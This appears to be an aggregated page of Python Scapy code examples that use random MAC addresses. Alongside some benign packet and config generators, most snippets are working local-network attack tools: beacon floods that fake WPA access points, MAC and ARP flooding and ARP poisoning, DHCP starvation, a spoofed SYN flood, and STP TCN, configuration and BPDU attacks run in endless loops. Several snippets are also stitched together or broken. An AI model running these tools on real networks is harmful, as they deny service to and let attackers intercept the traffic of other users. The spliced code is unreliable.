Пример #1
0
def generate_packets():
    packet_list = []  #initializing packet_list to hold all the packets
    for i in xrange(1, 10000):
        packet = Ether(src=RandMAC(), dst=RandMAC()) / IP(src=RandIP(),
                                                          dst=RandIP())
        packet_list.append(packet)
    return packet_list
    def create_beacon(name, password_protected=False):
        dot11 = Dot11(type=0,
                      subtype=8,
                      addr1='ff:ff:ff:ff:ff:ff',
                      addr2=str(RandMAC()),
                      addr3=str(RandMAC()))

        beacon = Dot11Beacon(
            cap='ESS+privacy' if password_protected else 'ESS')
        essid = Dot11Elt(ID='SSID', info=name, len=len(name))

        if not password_protected:
            return RadioTap() / dot11 / beacon / essid

        rsn = Dot11Elt(ID='RSNinfo',
                       info=('\x01\x00'
                             '\x00\x0f\xac\x02'
                             '\x02\x00'
                             '\x00\x0f\xac\x04'
                             '\x00\x0f\xac\x02'
                             '\x01\x00'
                             '\x00\x0f\xac\x02'
                             '\x00\x00'))

        return RadioTap() / dot11 / beacon / essid / rsn
Пример #3
0
    def __init__(self, flowdecl=None):
        """constructor for the flow class. accepts a flowdecl (dictionary) with flow info"""
        if (type(flowdecl) != dict):
            parser_bailout("Flowdecl must be a dictionary.")
        try:
            self.name = flowdecl['name']
            self.proto = flowdecl['proto']
            self.src_host = flowdecl['src_host']
            self.src_port = flowdecl['src_port']
            self.flow = flowdecl['flow']
            self.dst_host = flowdecl['dst_host']
            self.dst_port = flowdecl['dst_port']
        except KeyError:
            parser_bailout("Invalid flowdecl passed to Flow.init")

        self.src_mac = RandMAC()
        self.dst_mac = RandMAC()

        self.to_server_seq = random.randint(10000, 99999)
        self.to_client_seq = random.randint(10000, 99999)
        self.to_server_ack = 0
        self.to_client_ack = 0
        self.tcp_server_bytes = 0
        self.tcp_client_bytes = 0

        try:
            self.tcp_mss = int(flowdecl['attributes']['mss'])
        except KeyError:
            self.tcp_mss = 1460
Пример #4
0
def main():
    if len(sys.argv) < 3:
        print("usage: %s <interface> <words of name>" % sys.argv[0])
        sys.exit(1)

    iface = sys.argv[1]
    name = ' '.join(sys.argv[2:])

    frames = []
    for suffix in ap_slander:
        ssid = name + ' ' + suffix.upper()
        print(ssid)
        dot11 = Dot11(type=0,
                      subtype=8,
                      addr1='ff:ff:ff:ff:ff:ff',
                      addr2=str(RandMAC()),
                      addr3=str(RandMAC()))
        beacon = Dot11Beacon(cap='ESS+privacy')
        essid = Dot11Elt(ID='SSID', info=ssid, len=len(ssid))
        rsn = Dot11Elt(
            ID='RSNinfo',
            info=(
                '\x01\x00'  #RSN Version 1
                '\x00\x0f\xac\x02'  #Group Cipher Suite : 00-0f-ac TKIP
                '\x02\x00'  #2 Pairwise Cipher Suites (next two lines)
                '\x00\x0f\xac\x04'  #AES Cipher
                '\x00\x0f\xac\x02'  #TKIP Cipher
                '\x01\x00'  #1 Authentication Key Managment Suite (line below)
                '\x00\x0f\xac\x02'  #Pre-Shared Key
                '\x00\x00'))  #RSN Capabilities (no extra capabilities)

        frame = RadioTap() / dot11 / beacon / essid / rsn
        #print("SSID=%-20s   %r"%(ssid,frame))
        frames.append(frame)
    sendp(frames, iface=iface, inter=0.0100 if len(frames) < 10 else 0, loop=1)
Пример #5
0
def main():
    ssids = sys.argv[2:]  #Network name here
    iface = sys.argv[1]  #Interface name here
    frames = []
    for netSSID in ssids:
        print netSSID
        dot11 = Dot11(type=0,
                      subtype=8,
                      addr1='ff:ff:ff:ff:ff:ff',
                      addr2=str(RandMAC()),
                      addr3=str(RandMAC()))
        beacon = Dot11Beacon(cap='ESS+privacy')
        essid = Dot11Elt(ID='SSID', info=netSSID, len=len(netSSID))
        rsn = Dot11Elt(
            ID='RSNinfo',
            info=(
                '\x01\x00'  #RSN Version 1
                '\x00\x0f\xac\x02'  #Group Cipher Suite : 00-0f-ac TKIP
                '\x02\x00'  #2 Pairwise Cipher Suites (next two lines)
                '\x00\x0f\xac\x04'  #AES Cipher
                '\x00\x0f\xac\x02'  #TKIP Cipher
                '\x01\x00'  #1 Authentication Key Managment Suite (line below)
                '\x00\x0f\xac\x02'  #Pre-Shared Key
                '\x00\x00'))  #RSN Capabilities (no extra capabilities)

        frame = RadioTap() / dot11 / beacon / essid / rsn
        print "SSID=%-20s   %r" % (netSSID, frame)
        frames.append(frame)
    sendp(frames, iface=iface, inter=0.0100 if len(frames) < 10 else 0, loop=1)
Пример #6
0
def MACFlood():
    packet = ARP(op=2,
                 psrc=RandIP(),
                 hwsrc=RandMAC(),
                 pdst=RandIP(),
                 hwdst=RandMAC())
    return packet
Пример #7
0
def generate_packets():
    packet_list = [
    ]  #inicializa uma lista que armazenam todos os pacotes a serem criados.
    for i in xrange(1, 10000):
        packet = Ether(src=RandMAC(), dst=RandMAC()) / IP(src=RandIP(),
                                                          dst=RandIP())
        packet_list.append(packet)
    return packet_list
Пример #8
0
 def generate_packets(self):
     # Initialize list to hold all the packets
     packet_list = []
     # Create packets with random addresses
     for i in xrange(1, 30000):
         packet = Ether(src=RandMAC(), dst=RandMAC()) / IP(src=RandIP(),
                                                           dst=RandIP())
         packet_list.append(packet)
     return packet_list
Пример #9
0
def attack(target_mac,target_ip,gw_ip):
    print "[+]Counter Attack !!!"
    e = Ether(dst="FF:FF:FF:FF:FF:FF")
    while 1:
        a = ARP(psrc=RandIP(),pdst=RandIP(),hwsrc=RandMAC(),hwdst=RandMAC(),op=1)
        p = e/a/Padding("\x00"*18)
        sendp(p,verbose=0)
        a1 = ARP(psrc=gw_ip,pdst=target_ip,hwsrc=RandMAC(),hwdst=target_mac,op=2)
        p1 = e/a1/Padding("\x00"*18)
        sendp(p1,verbose=0)
Пример #10
0
    def macFlood(self, interface, targetip):
        """ This method is for mac flooding
            
            Usage: wrb.macFlood(interface='wlan0', targetip='192.168.1.154')
        """
        self.interface = interface
        self.targetip = targetip

        floodPacket = Ether(
            src=RandMAC("*:*:*:*:*:*"), dst=RandMAC("*:*:*:*:*:*")) / IP(
                src=RandIP("*.*.*.*"), dst=self.targetip) / ICMP()
        sendp(floodPacket, iface=self.interface, loop=1)
Пример #11
0
    def __init__(self, flowdecl=None):
        """constructor for the flow class. accepts a flowdecl (dictionary) with flow info"""

        if (type(flowdecl) != dict):
            parser_bailout("Flowdecl must be a dictionary.")
        try:
            self.name = flowdecl['name']
            self.l3_proto = flowdecl['l3_proto']
            self.l4_proto = flowdecl['l4_proto']
            self.src_host = flowdecl['src_host']
            self.src_port = flowdecl['src_port']
            self.flow = flowdecl['flow']
            self.dst_host = flowdecl['dst_host']
            self.dst_port = flowdecl['dst_port']
        except KeyError:
            parser_bailout("Invalid flowdecl passed to Flow.init")

        self.src_mac = RandMAC()
        self.dst_mac = RandMAC()

        #set a user-supplied source and destination mac, if provided
        if 'src_mac' in flowdecl['attributes']:
            logging.debug("Using user-supplied source mac")
            smac = flowdecl['attributes']['src_mac'].lower()
            if self._valid_mac(smac):
                self.src_mac = smac
            else:
                parser_bailout(
                    "A src_mac ({}) was explicitly set, but it doesn't appear to be valid."
                    .format(smac))

        if 'dst_mac' in flowdecl['attributes']:
            logging.debug("Using user-supplied dest mac")
            dmac = flowdecl['attributes']['dst_mac'].lower()
            if self._valid_mac(dmac):
                self.dst_mac = dmac
            else:
                parser_bailout(
                    "A dst_mac ({}) was explicitly set, but it doesn't appear to be valid."
                    .format(dmac))

        self.to_server_seq = random.randint(10000, 99999)
        self.to_client_seq = random.randint(10000, 99999)
        self.to_server_ack = 0
        self.to_client_ack = 0
        self.tcp_server_bytes = 0
        self.tcp_client_bytes = 0

        try:
            self.tcp_mss = int(flowdecl['attributes']['mss'])
        except KeyError:
            self.tcp_mss = 1460
Пример #12
0
def generate_packets() -> list:
    """Simple packet_list to hold all packets

    Args:
        None
    Return:
        list: packet list.
    """

    packet_list = []
    for i in range(1, 10000):
        packet = Ether(src=RandMAC(), dst=RandMAC()) / IP(src=RandIP(),
                                                          dst=RandIP())
        packet_list.append(packet)
    return packet_list
Пример #13
0
def ssidSpawner(config):
    #enable monitor mode and set the channel.
    setMonitorMode(config["iface"])
    setChannel(str(config["iface"]), config["channel"])

    frames = []
    while True:
    #for netSSID in ssids:
        netSSID = id_generator()    
        print(netSSID)
        dot11 = Dot11(type=0, subtype=8, addr1='ff:ff:ff:ff:ff:ff',addr2=str(RandMAC()), addr3=str(RandMAC()))
        beacon = Dot11Beacon(cap='ESS+privacy')
        essid = Dot11Elt(ID='SSID',info=netSSID, len=len(netSSID))
        rsn = Dot11Elt(ID='RSNinfo', info=(
          '\x01'                     #RSN Version 1
          '\x00\x0f\xac\x02'         #Group Cipher Suite : 00-0f-ac TKIP
          '\x02\x00'                 #2 Pairwise Cipher Suites (next two lines)
          '\x00\x0f\xac\x04'         #AES Cipher
          '\x00\x0f\xac\x02'         #TKIP Cipher
          '\x01\x00'                 #1 Authentication Key Managment Suite (line below)
          '\x00\x0f\xac\x02'         #Pre-Shared Key
          '\x00\x00'))               #RSN Capabilities (no extra capabilities)

        frame = RadioTap()/dot11/beacon/essid/rsn
        print("SSID=%-20s   %r"%(netSSID,frame))
        frames.append(frame)
    sendp(frames, iface=iface, inter=0.0100 if len(frames)<10 else 0, loop=1)        
Пример #14
0
def main():

    ether = Ether(src="ff:ff:ff:ff:ff:ff")
    arp = ARP(op="who-has",
              psrc=RandIP(),
              pdst=RandIP(),
              hwsrc=RandMAC(),
              hwdst=RandMAC())

    pkt = ether / arp

    pkt_lst = []
    for x in xrange(25):
        pkt_lst.append(pkt)

    sendp(pkt_lst)
Пример #15
0
def stormWithBeaconFrames():
    global interfaceName
    global monitorInterface
    log("Starting with storming on interface [{}]".format(interfaceName))
    
    netSSID = 'testSSID'       #Network name here
    iface = 'wlan0mon'         #Interface name here

    dot11 = Dot11(type=0, subtype=8, addr1='ff:ff:ff:ff:ff:ff', addr2=str(RandMAC()), addr3=str(RandMAC()))
    
    beacon = Dot11Beacon(cap='ESS+privacy')
    essid = Dot11Elt(ID='SSID',info=netSSID, len=len(netSSID))
    rsn = Dot11Elt(ID='RSNinfo', info=(
'\x01\x00'                 #RSN Version 1
'\x00\x0f\xac\x02'         #Group Cipher Suite : 00-0f-ac TKIP
'\x02\x00'                 #2 Pairwise Cipher Suites (next two lines)
'\x00\x0f\xac\x04'         #AES Cipher
'\x00\x0f\xac\x02'         #TKIP Cipher
'\x01\x00'                 #1 Authentication Key Managment Suite (line below)
'\x00\x0f\xac\x02'         #Pre-Shared Key
'\x00\x00'))               #RSN Capabilities (no extra capabilities)

    frame = RadioTap()/dot11/beacon/essid/rsn

    frame.show()
    print("\nHexdump of frame:")
    hexdump(frame)
    raw_input("\nPress enter to start\n")

    sendp(frame, iface=iface, inter=0.100, loop=1)
Пример #16
0
def cmd_dhcp_starvation(iface, timeout, verbose):

    conf.verb = False

    if iface:
        conf.iface = iface

    conf.checkIPaddr = False

    ether = Ether(dst="ff:ff:ff:ff:ff:ff")
    ip = IP(src="0.0.0.0", dst="255.255.255.255")
    udp = UDP(sport=68, dport=67)
    dhcp = DHCP(options=[("message-type", "discover"), "end"])

    while True:
        bootp = BOOTP(chaddr=str(RandMAC()))
        dhcp_discover = ether / ip / udp / bootp / dhcp
        ans, unans = srp(dhcp_discover,
                         timeout=5)  # Press CTRL-C after several seconds

        for _, pkt in ans:
            if verbose:
                print(pkt.show())
            else:
                print(pkt.summary())
Пример #17
0
def starvation(inter, rolls):
	for i in range(1, rolls):
		kill = "kill -9 $(pidof dhclient " + inter + ")"
		os.system(kill)
		mac = str(RandMAC())
		chmac = "ip l s dev " + inter + " addr " + mac
		os.system(chmac)
		dhcp = "dhclient " + inter
		os.system(dhcp)
Пример #18
0
def flood_attack():
    #Mascaras con las que generar las macs e ips aleatorias
    DEFAULT_DIP = '0.0.0.0/0'
    DEFAULT_DMAC = 'ff:ff:ff:ff:ff:ff'
    DEFAULT_SIP = '0.0.0.0/0'
    DEFAULT_SMAC = '*:*:*:*:*:*'
    while(True):
        srcMac = str(RandMAC(DEFAULT_SMAC))
        srcIp = str(RandIP(DEFAULT_SIP))
        dstMac = str(RandMAC(DEFAULT_DMAC))
        dstIp = str(RandIP(DEFAULT_DIP))
        #Construimos el paquete con los datos generados
        packet = Ether(src=srcMac, dst=dstMac) / \
            ARP(hwsrc=srcMac, psrc=srcIp, pdst=srcIp)
        #Enviamos el paquete GARP a broadcast
        print('Enviando paquete {} - {}'.format(srcMac, srcIp))
        sendp(packet)
        time.sleep(0.1)
Пример #19
0
def get_random_ip6_address(eui64=1,
                           prefix=get_ip6_address(groups=4, padded=True)):
    '''Creates a random ip6 address for a given prefix'''
    mac = "%s" % (RandMAC())
    (first, second, third, fourth, fifth, sixth) = mac.split(":")
    if (eui64):
        host = first + second + ":" + third + "ff:" + "fe" + fourth + ":" + fifth + sixth
    else:
        host = str(RandIP6())[len(RandIP6()) / 2:len(RandIP6())]
    return get_ip6_padded(prefix + ":" + host)
Пример #20
0
def bpdu_dos(iface):
    id_list = []
    for i in range(9):
        id_list.append(i * 4096)

    randmac = RandMAC()
    ether = Ether(dst=mac_dst,src=randmac)/LLC()
    stp = STP(rootid=choice(id_list),rootmac=randmac,bridgeid=choice(id_list),bridgemac=randmac)
    pkt = ether/stp
    sendp(pkt,iface=iface,loop=1)
Пример #21
0
def main():

    ether = Ether(src=RandMAC())
    ip = IP(src="0.0.0.0", dst="255.255.255.255")
    udp = UDP(sport=68, dport=67)
    bootp = BOOTP(chaddr=RandString(12, "1234567890asdfgs"))
    dhcp = DHCP(options=[("message-type", 'discover'), "end"])

    pkt = ether / ip / udp / bootp / dhcp

    for x in xrange(100000):
        sendp(pkt)
def startAttack(selectedManufacturerId=None, packet_count=20000):
    packet_list = []
    destMAC = "FF:FF:FF:FF:FF:FF"
    print('Initiating packet sending')

    for i in range(0, packet_count):
        packet = Ether(src=getRandomMacAddress(selectedManufacturerId),
                       dst=RandMAC())
        sendp(Ether(src=getRandomMacAddress(selectedManufacturerId),
                    dst=destMAC) / ARP(op=2, psrc="0.0.0.0", hwdst=destMAC),
              verbose=0)

        packet_list.append(packet)
    return packet_list
def cmd_dhcp_starvation(iface, timeout, sleeptime, verbose):
    """Send multiple DHCP requests from forged MAC addresses to
    fill the DHCP server leases.

    When all the available network addresses are assigned, the DHCP server don't send responses.

    So, some attacks, like DHCP spoofing, can be made.

    \b
    # habu.dhcp_starvation
    Ether / IP / UDP 192.168.0.1:bootps > 192.168.0.6:bootpc / BOOTP / DHCP
    Ether / IP / UDP 192.168.0.1:bootps > 192.168.0.7:bootpc / BOOTP / DHCP
    Ether / IP / UDP 192.168.0.1:bootps > 192.168.0.8:bootpc / BOOTP / DHCP
    """

    conf.verb = False

    if iface:
        iface = search_iface(iface)
        if iface:
            conf.iface = iface['name']
        else:
            logging.error(
                'Interface {} not found. Use habu.interfaces to show valid network interfaces'
                .format(iface))
            return False

    conf.checkIPaddr = False

    ether = Ether(dst="ff:ff:ff:ff:ff:ff")
    ip = IP(src="0.0.0.0", dst="255.255.255.255")
    udp = UDP(sport=68, dport=67)
    dhcp = DHCP(options=[("message-type", "discover"), "end"])

    while True:
        bootp = BOOTP(chaddr=str(RandMAC()))
        dhcp_discover = ether / ip / udp / bootp / dhcp
        ans, unans = srp(dhcp_discover,
                         timeout=1)  # Press CTRL-C after several seconds

        for _, pkt in ans:
            if verbose:
                print(pkt.show())
            else:
                print(pkt.sprintf(r"%IP.src% offers %BOOTP.yiaddr%"))

        sleep(sleeptime)
Пример #24
0
def cmd_synflood(ip, interface, count, port, forgemac, forgeip, verbose):

    conf.verb = False

    if interface:
        conf.iface = interface

    layer2 = Ether()

    layer3 = IP()
    layer3.dst = ip

    layer4 = TCP()
    layer4.dport = port

    pkt = layer2 / layer3 / layer4

    counter = 0

    print("Please, remember to block your RST responses", file=sys.stderr)

    while True:
        if forgeip:
            pkt[IP].src = "%s.%s" % (pkt[IP].src.rsplit(
                '.', maxsplit=1)[0], randint(1, 254))
        if forgemac:
            pkt[Ether].src = RandMAC()

        pkt[TCP].sport = randint(10000, 65000)

        if verbose:
            print(pkt.summary())
        else:
            print('.', end='')
            sys.stdout.flush()

        sendp(pkt)
        counter += 1

        if count != 0 and counter == count:
            break

    return True
Пример #25
0
    def send_probe_req(self, bssid, essid):
        """Send a probe request to the specified AP"""
        src = RandMAC() if self.mac is None else self.mac
        self.logger.info(
            '[!] Sending Broadcast Probe Request: SRC=[%s] -> BSSID: %s ESSID: %s'
            % (src, bssid, essid))
        param = Dot11ProbeReq()
        essid = Dot11Elt(ID='SSID', info=essid)
        rates = Dot11Elt(ID='Rates', info="\x03\x12\x96\x18\x24\x30\x48\x60")
        dsset = Dot11Elt(ID='DSset', info='\x01')
        pkt = RadioTap() / Dot11(
            type=0,
            subtype=4,
            addr1='ff:ff:ff:ff:ff:ff',
            addr2=src,
            addr3='ff:ff:ff:ff:ff:ff') / param / essid / rates / dsset

        try:
            sendp(pkt, verbose=0)
        except:
            return
            # raise

    #
        print("Probing network '%s (%s)'\n" % (bssid, essid))

        try:
            # Build a probe request packet with a SSID and a WPS information element
            dst = mac2str(bssid)
            src = mac2str("ff:ff:ff:ff:ff:ff")
            packet = Dot11(addr1=dst, addr2=src, addr3=dst) / Dot11ProbeReq()
            packet = packet / Dot11Elt(
                ID=0, len=len(essid), info=essid) / Dot11Elt(
                    ID=221,
                    len=9,
                    info="%s\x10\x4a\x00\x01\x10" % self.wps_parser.WPS_ID)

            # Send it!
            send(packet, verbose=0)
            # self.probedNets[bssid] = None
        except Exception, e:
            print 'Failure sending probe request to', essid, ':', e
Пример #26
0
    def send_probe_req(self, essid, bssid, src=None):
        if not self.args.active:
            return

        if src is None:
            src = RandMAC()
        print(
            '[!] Sending 802.11 Probe Request: SRC=[%s] -> BSSID=[%s]\t(%s)' %
            (src, bssid, essid))

        param = Dot11ProbeReq()
        essid = Dot11Elt(ID='SSID', info=essid)
        rates = Dot11Elt(ID='Rates', info="\x03\x12\x96\x18\x24\x30\x48\x60")
        dsset = Dot11Elt(ID='DSset', info='\x01')
        pkt = RadioTap() \
              / Dot11(type=0, subtype=4, addr1=bssid, addr2=src, addr3=bssid) / param / essid / rates / dsset

        try:
            sendp(pkt, verbose=0)
        except:
            raise
Пример #27
0
def run(inter):
    """
    This function launch STP TCN ATTACK
    :param inter: interface to be launched the attack
    :type inter: str
    """

    interface = str(inter[0])
    if len(interface) > 0:
        try:
            while 1:
                # dst=Ethernet Multicast address used for spanning tree protocol
                srcMAC = str(RandMAC())     # Random MAC in each iteration
                p_ether = Dot3(dst="01:80:c2:00:00:00", src=srcMAC)
                p_llc = LLC()
                p_stp = STP(bpdutype=0x80)   # TCN packet
                pkt = p_ether/p_llc/p_stp   # STP packet structure

                sendp(pkt, iface=interface, verbose=0)

        except KeyboardInterrupt:
            pass
Пример #28
0
def run(inter):
    """
    This function launch STP CONF ATTACK
    :param inter: interface to be launched the attack
    :type inter: str
    """

    interface = str(inter[0])
    if len(interface) > 0:
        try:

            while 1:
                # Root Identifier 8 bytes (MAC and root priority)

                srcMAC = str(RandMAC())  # Random MAC in each iteration
                root_prior = int(RandInt()) % 65536  # 2 bytes

                # Brigde Identifier (mac and brigde priority)
                brigde_prior = int(RandInt()) % 65536  # 2 bytes

                # dst=Ethernet Multicast address used for spanning tree protocol
                p_ether = Dot3(dst="01:80:c2:00:00:00", src=srcMAC)
                p_llc = LLC()

                p_stp = STP(bpdutype=0x00,
                            bpduflags=0x01,
                            portid=0x8002,
                            rootmac=srcMAC,
                            bridgemac=srcMAC,
                            rootid=root_prior,
                            bridgeid=brigde_prior)  # Conf packet

                pkt = p_ether / p_llc / p_stp  # STP packet structure

                sendp(pkt, iface=interface, verbose=0)

        except KeyboardInterrupt:
            pass
Пример #29
0
def run(interface):
    """
    This function launch DHCP DISCOVER DOS attack
    :param inter: interface to be launched the attack
    :type inter: str
    """
    if len(interface) > 0:
        inter = str(interface[0])

        try:
            while 1:
                src_mac = str(RandMAC())
                ethernet = Ether(dst='ff:ff:ff:ff:ff:ff',
                                 src=src_mac,
                                 type=0x800)
                ip = IP(src="0.0.0.0", dst="255.255.255.255")
                udp = UDP(sport=68, dport=67)
                bootps = BOOTP(chaddr=src_mac, ciaddr='0.0.0.0', flags=1)
                dhcps = DHCP(options=[("message-type", "discover"), "end"])
                packet = ethernet / ip / udp / bootps / dhcps

                sendp(packet, iface=inter, verbose=0)
        except KeyboardInterrupt:
            pass
Пример #30
0
def main(argv):
    config = {"SDXes": dict()}

    current_sdx = 1

    # local SDX default settings
    local_sdx_network = "172.0.0.0/16"
    ip_generator = IPAddressGenerator(local_sdx_network)
    asn_generator = ASNGenerator()

    num_participants = int(argv.num_participants)

    config_file = argv.out_path + "global.cfg"

    # local SDX config
    tmp_sdx = {
        "Address": "localhost",
        "VNHs": "172.1.1.1/8",
        "VMAC Computation": {
            "VMAC Size": 10000,
            "Superset ID Size": 50,
            "Max Superset Size": 9000,
            "Best Path Size": 950,
            "Superset Threshold": 100
        },
        "Loop Detector": {
            "Port": 2201,
            "Max Random Value": 10000
        },
        "Policy Handler": {
            "Address": "localhost",
            "Port": 2301
        },
        "Route Server": {
            "IP": "172.1.255.254",
            "MAC": "08:00:27:89:33:dd",
            "Connection Port": 2301,
            "Connection Key": "xrs",
            "Interface": "rs1-eth0",
            "Fabric Port": 4
        },
        "Participants": {}
    }

    for i in range(1, num_participants + 1):
        tmp_sdx["Participants"][str(i)] = {
            "Ports": [{
                "Id": i,
                "MAC": str(RandMAC()),
                "IP": ip_generator.get_address()
            }],
            "ASN":
            asn_generator.get_asn()
        }

        if i == 1:
            tmp_sdx["Participants"][str(i)]["Peers"] = range(
                2, num_participants + 1)
        else:
            tmp_sdx["Participants"][str(i)]["Peers"] = [1]

    config["SDXes"]["1"] = tmp_sdx

    # remote SDXes
    config["SDXes"]["2"] = {
        "Address": "localhost",
        "Loop Detector": {
            "Port": 9999
        },
        "Participants": {
            "1": {
                "ASN": 5000
            },
            "2": {
                "ASN": 5100
            }
        }
    }

    config["SDXes"]["3"] = {
        "Address": "localhost",
        "Loop Detector": {
            "Port": 9999
        },
        "Participants": {
            "1": {
                "ASN": 6000
            },
            "2": {
                "ASN": 6100
            }
        }
    }

    with open(config_file, 'w') as outfile:
        json.dump(config, outfile)